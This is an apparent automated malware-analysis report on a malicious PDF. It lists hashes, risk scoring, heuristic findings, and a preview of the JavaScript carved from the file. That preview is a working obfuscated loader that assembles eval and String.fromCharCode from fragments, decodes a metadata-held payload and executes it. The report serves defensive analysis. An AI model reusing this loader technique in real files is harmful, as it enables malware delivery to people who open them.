Malicious PDF — malware analysis report

Static analysis result for SHA-256 3b2d44f791d66cb7…

MALICIOUS

PDF

44.6 KB Authoring application: substr First seen: 2026-05-08
MD5: 64a5645ca84345143a30381594a55baf SHA-1: 918350532530db8b19b86e9bc9cf4711b837b2c7 SHA-256: 3b2d44f791d66cb7bb2423b9b4548cded63f87ccf2bc2799d3ca3d13b4d1b354
86 Risk Score

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB01C 417 bytes
SHA-256: 9d5de44fdc82338e8d208d45040bb675874c802e802d4dd793430bebe413dd01
Preview script
First 1,000 lines of the extracted script
lnk='';
v=producer;
qwe = v[v];
t='le';
b='v';
a=["e","a","n","b","w",b,'r'];
s=a[0]+b+a[1]+'l';
e=(t,qwe)()[s];
lluzm=e('ti'+'tle');
s=lluzm.substr(t.length + 8,3)+'str';
q=lluzm[s](1,t.length + 7);
zxdn=e(v[0].toUpperCase()+'tring.fro'+q);
q=lluzm[s](t.length+12)[subject]('c');
k=q.length;
for (i = 0; i != k; i+=2) {
	zzknp = parseInt(q[i]) + parseInt(q[i+1]);
	lnk += zxdn(zzknp);
}
e(lnk);

Open this report in the interactive analyzer, or submit your own file for analysis.